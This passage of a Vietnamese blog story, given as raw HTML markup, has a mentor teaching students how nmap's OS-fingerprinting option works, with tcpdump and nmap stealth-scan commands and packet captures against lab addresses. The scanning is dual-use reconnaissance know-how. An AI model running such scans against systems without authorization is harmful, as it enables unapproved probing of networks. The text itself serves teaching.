style="font-weight: bold; font-family: arial;"&gt;"Dạ, tụi em cũng mới lên chừng 20 phút thôi anh. Mình 'conference' chớ anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi tiếp nhận cú invitation của 'cuti' và hỏi tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Sao? thời gian qua mấy đứa học hành, sinh hoạt ra sao rồi? Có gì vui không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' lém lỉnh: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ cũng chẳng có gì vui hết anh. Cũng bài với vở và bao nhiêu thứ để mày mò. Chỉ có 'ngày tân hôn' mới vui thôi anh." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười phá lên và đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Hì hì, chưa có võng lọng về làng mà đòi 'rước nàng về dinh' sao cậu?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' chêm vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Đúng đó, chưa có võng lọng thì đừng ở đó mà... mơ ;-)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' cũng chẳng vừa: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Em chả mơ đâu anh. Em đang 'hâm nóng' đó thôi, hì hì." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Bọn tôi tán gẫu dăm ba phút thì 'docco' vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Em chào anh, chào hai ông bà.... non. :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi chào lại 'docco': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Khoẻ không em? Dạo này thế nào?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'docco' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ, dạo này em cũng bận rộn lắm. Em đang cố luyện 'nội công' nên cũng túi bụi luôn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi hỏi thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Luyện nội công gì mà túi bụi em?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'docco' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ, thì bao nhiêu là thứ mà mấy anh em mình 'đà khía' đó. Càng suy gẫm, tìm hiểu, em càng thấy thấm cái gọi là 'giềng mối' mà anh đã đưa ra. Lúc trước em cảm thấy mọi chuyện rất lờ mờ. Em thường thắc mắc và cũng đã có lần hỏi anh là mình nên bắt đầu từ đâu. Cho đến nay, em cũng chẳng biết câu trả lời và em cũng không rõ em đã bắt đầu từ đâu nhưng em đã thấy được mối liên quan giữa các mảnh kiến thức. Để hiểu B, phải nắm A, để hiểu C, phải nắm A và B và cứ thế mà mở rộng ra. Cái 'kinh nghiệm xương máu' em thấy được là để hiểu B không chỉ nắm A mà phải thực sự nắm A. Chừng nào còn có điều mù mờ về A thì về sau, càng ngày sẽ càng chồng chất những mù mờ." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười hoan hỉ và đáp &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Tốt lắm. Anh nghĩ là em vượt ra khỏi cái 'ổ nhện' rồi đó. Một khi đã nắm được cái nguyên lý 'giềng mối' thì vấn đề còn lại chỉ là thời gian mà thôi. Bởi vì em cần phải có thời gian để tiếp thu kiến thức. Không ai có thể đốt giai đoạn được cả. Riêng với câu hỏi nhức nhối mà anh thường nghe bắt đầu từ đâu? thì anh cũng không có câu trả lời nhưng tận cùng mà nói, mình phải biết mình muốn đi đến đâu? trước khi tự hỏi mình bắt đầu từ đâu?. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' thắc mắc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Anh nói thêm một tí về vấn đề này được không anh? Em cũng tự hỏi không biết mình nên bắt đầu từ đâu?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Lắm lúc có nhiều người hỏi anh câu hỏi này, anh chỉ có thể gợi ý để cá nhân ấy tự hình thành hướng đi cho mình. Đây là một điều rất khó bởi vì người ta thường muốn những điều trừu tượng và xa vời. Ví dụ: "em muốn trở thành một hacker lừng lẫy". Tại sao câu này trừu tượng và xa vời? Bởi vì, chính cá nhân ấy chưa hiểu được thật sự 'hacker' là gì và chưa hình dung được thế nào là 'lừng lẫy', 'lừng lẫy' trong giới hạn nào?. Để có thể xác định được việc bắt đầu từ đâu?, người đặt câu hỏi này nên hết sức cụ thể mục tiêu mình muốn, càng cụ thể càng tốt." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Em nghĩ mấy anh em mình nên bàn sâu hơn về chuyện này lúc nào đó tiện vì theo em thì chuyện này rất quan trọng." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ừa, nếu em thấy nó quan trọng thì mình cũng nên bàn về nó. Anh thật sự không hiểu tại sao vấn đề 'bắt đầu từ đâu' lại nhức nhối đến thế." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;docco hỏi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Vậy hồi xưa anh 'bắt đầu từ đâu' vậy? anh có thể bật mí cho tụi em một tí được không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"À, hoàn cảnh của anh lúc đó khác với hoàn cảnh mấy đứa bây giờ lắm. Anh cũng chẳng biết phải 'bắt đầu từ đâu', chỉ biết phải kiếm một công việc để làm kiếm sống và vừa làm vừa học. Đến khi học càng nhiều, biết càng nhiều thì tự nhiên đòi hỏi phải tìm công việc thích hợp hơn. Anh đoán hồi đó anh chẳng trằn trọc với chuyện 'bắt đầu từ đâu'. Anh chỉ lao thẳng vào công việc và học hành rồi nó đưa mình từ điểm này sang điểm kia thôi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' cười, chêm vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Hì hì, anh nói gì mà lờ mờ vậy? Vậy là anh không muốn bật mí chuyện 'đời cô Lựu' của anh rồi chớ gì. Thôi, tha cho anh đó . Em muốn hỏi anh tiếp chuyện kỹ thuật, khoái hơn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi nén cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ái chà, con gái mà nhậm lẹ vậy mai mốt chắc chắn nắm cổ thằng Hưng đi chơi rồi . Em muốn hỏi chuyện kỹ thuật gì em?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Hổng dám đâu anh. Ổng coi bộ vậy chớ cộc lắm đó. Đụng vào cục 'cộc' của ổng là phiền. Em muốn hỏi tiếp anh về cái option -O của nmap cho phép đoán footprint của mục tiêu đó anh. Nó làm sao hay vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi hỏi thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Vậy em đã thử tìm hiểu tí nào về cái option -O chưa vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' nhanh nhảu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ em download cái source code của nmap về coi nhưng chắc chưa đủ 'nội công' nên nhìn vô thấy tá hoả. Chẳng hiểu gì hết. Em cũng thử search trên mạng thì thấy nói lung tung mà chẳng hiểu đầu đuôi làm sao nữa." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Vậy em thử đọc tài liệu có cái tên là 'Remote OS detection via TCP/IP Stack FingerPrinting' do Fyodor, tác giả của nmap viết chưa em?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ rồi anh, nhưng đọc chẳng khác gì đọc tiếng Mán, tiếng Mường anh ơi. Có lẽ em phải học thêm rất nhiều về giao thức mạng thì mới mó vào mấy thứ này được ." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ừa, tổng quát mà nói thì options -O của nmap chỉ là 1 cái flag trên dòng lệnh để ra lệnh nmap thực thi công tác xác định footprint mà thôi. Nếu em muốn biết cơ chế làm việc đằng sau đó thế nào thì cũng không phức tạp lắm đâu. Đại khái nmap có hồ sơ kèm theo chương trình gọi là "nmap-os-fingerprints"; nó chứa trọn bộ các bản mẫu 'dấu ấn' cho từng footprint có thể xác định được. Khi được ra lệnh xác định footprint, nmap sẽ thực thi một loạt thử nghiệm bằng cách 'phun' ra những request packets có tính chất khác nhau. Tuỳ theo kết quả thâu được và dựa trên bản mẫu này, nmap sẽ tường trình footprint đáng tin cậy nhất." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' hồ hởi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ra vậy. Vậy em có cần học chi tiết giao thức mạng không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Hèm... tùy nhu cầu và mục tiêu của em thôi. Nếu em muốn trở thành chuyên gia phân tích gói tin hoặc muốn viết những chương trình chuyên ngành cho công tác này thì chắc chắn em phải cần rồi. Nếu em chỉ cần dùng nmap để xác định footprint cho mục đích thử nghiệm thì biết các nguyên tắc làm việc cũng đã đủ rồi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' chen vào hỏi tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"hi hi, vậy anh có nghiên cứu sâu hơn các giao thức mạng không? em nghĩ là có. Vậy em muốn hỏi động lực nào làm anh nghiên cứu sâu hơn?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười và trả lời 'cuti': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Thằng cu này tự hỏi, rồi tự trả lời, rồi dựa trên câu trả lời của mình để hỏi tiếp. Quá sức là ăn gian. Câu trả lời của anh là thế này. Có những thứ anh không có ý định nghiên cứu sâu nhưng vì nhu cầu công việc hoặc vì vô tình mó vào một điểm nào đó rồi bị cuốn vào lúc nào không hay. Có những thứ càng đào sâu càng thấy lý thú, có những thứ càng đào sâu càng thấy vô vị. Cái này tùy cá tính và nhu cầu cá nhân thôi em." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' khơi mào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ví dụ như?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi chậc lưỡi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Chậc chậc... có bao nhiêu là ví dụ. Ùm ví dụ như... khách hàng than phiền là họ truy cập vào một web application nào đó mình đang chịu trách nhiêm và thấy chậm quá, mình phải phân tích từ cao xuống thấp, chậm là do băng thông, do application viết dỏm cho nên khi nhiều người truy cập quá thì nó... điếng, hay do database bị cổ chai, đi xuống thấp hơn thì xem I/O trên đĩa có vấn đề gì, hay packets có bị drop vì lý do gì.... Nói chung, đôi khi chỉ vì một lời than phiền của một ông khách "bự" nào đó, bọn anh mất cả tháng để tìm lý do từ kết quả audit, từ phân tích, theo dõi, thử nghiệm.... mỗi phần đều tạo cơ hội cho mình đi sâu xuống để tìm ra nguyên nhân." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' cũng chậc lưỡi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Chậc, em cũng không thể hình dung nổi những cái anh vừa nói. Thôi để mai mốt đụng chuyện rồi hẵng hay vậy " &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'docco' tiếp chuyện: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Tựu trung là vì thích hoặc vì nhu cầu công việc mà đào sâu thôi anh nhỉ? Nếu ai đưa mình một đống tài liệu khô khan mà bắt mình... nuốt thì làm sao mà nuốt nổi . Em muốn hỏi anh một chuyện khác, bọn em toàn dân học ngành tin nhưng học mỗi thứ một chút mà thứ nào cũng cào cào trên mặt. Không biết mai mốt ra đi làm thì làm cái gì nữa. Anh có thể giúp cho em chọn một cái hướng gì cụ thể không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' kháy: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Cái ông này đúng là xí xọn, người ta hỏi chưa xong chuyện nmap mà lại nhảy vô chuyện định hướng tương lai là sao ông? Để tui hỏi tiếp cho xong đã ông ơi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười xoà và xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Ok, em muốn hỏi tiếp gì vậy cô bé? Duy để bé Như nó hỏi cho xong phần thắc mắc của nó đã em." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Dạ em chỉ muốn biết khi dùng nmap với option -O đó thì nó scan khác với tình trạng không có option này như thế nào thôi anh." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Anh nghĩ cách dễ thấy nhất là thử scan bằng nmap và sniff packets cùng một lúc để xác định thôi em. Code của nmap có phần này nhưng em nói rằng em hơi bị tá hoả thì mình thử sniff là biết ngay thôi, sau này xem lại code cũng không muộn. Cái quan trọng là sniff thế nào để bắt được mỗi đoạn tin nmap gởi đi mà thôi thì mới chính xác." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'ccxx' than thở: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Vậy là phải học thêm cách sniff . Thôi, anh thử một cái rồi cho em xem đoạn anh sniff thế nào tí đi. Rồi từ từ em sẽ tự ngâm cứu sau. Năn nỉ đó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Được rồi, đợi anh một tí." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Thế là tôi khởi động công cụ ưa thích của tôi cho việc sniffing: tcpdump, như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;tcpdump -i eth1 host 172.17.1.60 and port 7777&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Kế tiếp, tôi chạy một dòng nmap trên một console khác như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;/usr/local/bin/nmap -sS -P0 -O -v 172.17.1.60 -p 7777&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Trong tích tắc, tôi tóm được một đoạn thế này và cắt, dán lên khung conference để cô bé 'ccxx' xem: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; listening on eth1, link-type EN10MB (Ethernet), capture size 68 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; 00:02:50.410083 IP 172.17.1.100.39201 &gt; 172.17.1.60.7777: S 1628065974:1628065974(0) win 4096 &lt;/span&gt;&lt;mss style="font-weight: bold; font-family: arial;" 1460=""&gt;&lt;br /&gt;00:02:50.410408 IP 172.17.1.60.7777 &gt; 172.17.1.100.39201: R 0:0(0) ack 1628065975 win 0&lt;br /&gt;00:02:50.445890 IP 172.17.1.100.39212 &gt; 172.17.1.60.7777: S 3391958263:3391958263(0) win 4096 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:50.446440 IP 172.17.1.60.7777 &gt; 172.17.1.100.39212: R 0:0(0) ack 3391958264 win 0&lt;br /&gt;00:02:50.446673 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 0 win 2048 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:50.447215 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 3391958263:3391958263(0) win 3072 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:50.447866 IP 172.17.1.100.39201 &gt; 172.17.1.60.7777: UDP, length 300&lt;br /&gt;00:02:51.369166 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 1 win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:51.369709 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 3391958263:3391958263(0) win 1024 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:54.062103 IP 172.17.1.100.39212 &gt; 172.17.1.60.7777: S 106725245:106725245(0) win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:54.062516 IP 172.17.1.60.7777 &gt; 172.17.1.100.39212: R 0:0(0) ack 1009734279 win 0&lt;br /&gt;00:02:54.065002 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 1 win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:54.067468 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 106725245:106725245(0) win 3072 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:54.069372 IP 172.17.1.100.39201 &gt; 172.17.1.60.7777: UDP, length 300&lt;br /&gt;00:02:54.669329 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 1 win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:54.669876 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 106725245:106725245(0) win 3072 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:57.642391 IP 172.17.1.100.39212 &gt; 172.17.1.60.7777: S 50202835:50202835(0) win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:57.642781 IP 172.17.1.60.7777 &gt; 172.17.1.100.39212: R 0:0(0) ack 953211869 win 0&lt;br /&gt;00:02:57.643252 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 1 win 4096 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:57.643787 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 50202835:50202835(0) win 2048 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:57.643987 IP 172.17.1.100.39201 &gt; 172.17.1.60.7777: UDP, length 300&lt;br /&gt;00:02:58.381570 IP 172.17.1.100.39213 &gt; 172.17.1.60.7777: . ack 1 win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:02:58.382138 IP 172.17.1.100.39214 &gt; 172.17.1.60.7777: FP 50202835:50202835(0) win 4096 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cả ba đều cảm thán:&lt;br /&gt;"Ôi.. trời"&lt;br /&gt;"Như tiếng Mán"&lt;br /&gt;"Kiểu này tiêu..."&lt;br /&gt;&lt;br /&gt;Tôi chọc quê mấy cô cậu:&lt;br /&gt;"Hì hì, chứng tỏ là không chịu xem tài liệu về tcp/ip như đã đồng ý với nhau rồi đây hay là chỉ mới thấy, chưa nhìn cho kỹ đã la toáng lên. Đoạn trên khá đơn giản vì anh không sniff trọn bộ payload của packets và chỉ capture sequence mà nmap tạo ra thôi. Này ku Hưng, S flag ở trên là gì em?"&lt;br /&gt;&lt;br /&gt;'cuti' với vẻ giận dỗi:&lt;br /&gt;"Anh làm như em ngu lắm hông bằng á , thì S là SYN chớ gì."&lt;br /&gt;&lt;br /&gt;Tôi cười, châm tiếp:&lt;br /&gt;"Hè hè, anh có nói em ngu hồi nào đâu thằng ku? Anh chỉ gợi ý thôi mà. Nếu em không ngu thì xem thử gói SYN đó do 'ai' gởi và gởi tới 'ai', theo sau là cái gì?"&lt;br /&gt;&lt;br /&gt;Cả ba đều im lặng khá lâu. 'ccxx' lên tiếng:&lt;br /&gt;"Đây là trọn bộ thông tin từ khi nmap khởi động đến khi nó hoàn tất scanning phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Đúng như vậy dó em, không dư, không thiếu một tí nào hết ."&lt;br /&gt;&lt;br /&gt;'docco' biểu lộ tư duy:&lt;br /&gt;"Lạ thiệt là lạ. Tại sao nmap lại gởi hàng loạt SYN, rồi tự động gởi ACK một mình nó. Đã vậy còn xen vô mấy cái UDP packets nữa chớ."&lt;br /&gt;&lt;br /&gt;Tôi cười thích thú:&lt;br /&gt;"Đó, đó. Em trả lời được tại sao thì em đã hiểu được cách làm việc của nmap khi nó muốn đoán footprint. Anh bật mí một tí là nmap không gởi gói tin đi nhiều hơn số lượng nó cần đâu. Mỗi gói tin nó gởi đi đều phục vụ một mục đích rõ ràng và cụ thể."&lt;br /&gt;&lt;br /&gt;'cuti' xen vô:&lt;br /&gt;"Anh nói thêm nữa đi. Cái vụ đọc và phân tích chi tiết các gói tin ở trên thì để tụi em tự tìm hiểu nhưng điểm anh nói là nmap luôn luôn gởi gói tin đi để phục vụ một mục đích rõ ràng là sao anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ùm... thế này. Anh nhớ có lần mình bàn sơ qua về việc ứng dụng RFC cho tcp/ip trên mỗi hệ điều hành có một số tương đồng và dị biệt phải không? Nmap dựa vào các điểm tương đồng và dị biệt này để đoán footprint đó. Ví dụ, nó gởi một gói SYN đi, nếu đầu bên kia có dịch vụ đang lắng nghe trên cổng và cho tiếp nối thì hẳn phải có gói SYN trả lời kèm theo ACK. Nếu không, tùy cách ứng dụng của tùy hệ điều hành mà có phản ứng khác nhau. Hơn nữa, nếu mục tiêu scanning của nmap không trả lời thì... nmap bó tay. Tuy nhiên, nếu mục tiêu trả lời thì ít nhiều thông tin mang "foot print" mà nmap có thể thu thập và đoán được. Cũng có thể có trường hợp mục tiêu có trả lời nhưng gói tin trả lời của nó 'tiêu chuẩn' quá, không có gì đặc biệt thì nmap sẽ không đoán nổi footprint của nó là gì hết."&lt;br /&gt;&lt;br /&gt;'cuti' liếng thoáng:&lt;br /&gt;"Á à, em biết rồi. Theo đoạn trên thì thằng 172.17.1.60 nhả cái R flag ra mỗi lần thằng 172.17.1.100 gởi S đến. Cái này chắc là thằng nmap bó tay rồi vì mấy cú RESET có khỉ gì đâu mà biết footprint phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Khá lắm! Em nói thêm xem lý do tại sao thằng 172.17.1.60 cứ trả lời bằng cú R được không? "&lt;br /&gt;&lt;br /&gt;'cuti' ngập ngừng rồi đáp:&lt;br /&gt;"Ùm.... à.... Nếu em hiểu đúng thì một xuất truy cập đã được thiết lập hẳn hòi phải kết thúc đúng quy cách và phải dùng đến FIN chớ không RST ngang xương như thế. Điều đó chứng tỏ thằng 172.17.1.60 có cái firewall cản ở cổng 7777 hoặc trên máy này hoàn toàn không có cổng 7777 đang lắng nghe, phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi hoan hỉ đáp:&lt;br /&gt;"Đúng rồi! Vậy có nghĩa là đoạn thông tin của tcpdump ở trên báo cáo tình trạng nmap đến một cổng không mở. Vậy, nếu nmap đến một cổng mở thì sao? Hãy thử xem đoạn này: "&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;# tcpdump -i eth1 host 172.17.1.60 and port 135&lt;br /&gt;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&lt;br /&gt;listening on eth1, link-type EN10MB (Ethernet), capture size 68 bytes&lt;br /&gt;00:17:26.536870 IP 172.17.1.100.40507 &gt; 172.17.1.60.135: S 257305512:257305512(0) win 3072 &lt;mss 1460=""&gt;&lt;br /&gt;00:17:26.537402 IP 172.17.1.60.135 &gt; 172.17.1.100.40507: S 2197701964:2197701964(0) ack 257305513 win 17520 &lt;mss 1460=""&gt;&lt;br /&gt;00:17:26.537709 IP 172.17.1.100.40507 &gt; 172.17.1.60.135: R 257305513:257305513(0) win 0&lt;br /&gt;00:17:26.570448 IP 172.17.1.100.40514 &gt; 172.17.1.60.135: SE 2921059574:2921059574(0) win 2048 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:26.570956 IP 172.17.1.60.135 &gt; 172.17.1.100.40514: S 1807769488:1807769488(0) ack 2921059575 win 16430 &lt;mss wscale=""&gt;&lt;br /&gt;00:17:26.571178 IP 172.17.1.100.40514 &gt; 172.17.1.60.135: R 2921059575:2921059575(0) win 0&lt;br /&gt;00:17:26.571364 IP 172.17.1.100.40515 &gt; 172.17.1.60.135: . win 2048 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:26.571894 IP 172.17.1.100.40516 &gt; 172.17.1.60.135: SFP 2921059574:2921059574(0) win 3072 urg 0 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:26.572486 IP 172.17.1.100.40517 &gt; 172.17.1.60.135: . ack 0 win 3072 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:27.571896 IP 172.17.1.100.40515 &gt; 172.17.1.60.135: . win 1024 &lt;wscale mss="" timestamp=""&gt;&lt;br /&gt;00:17:27.572443 IP 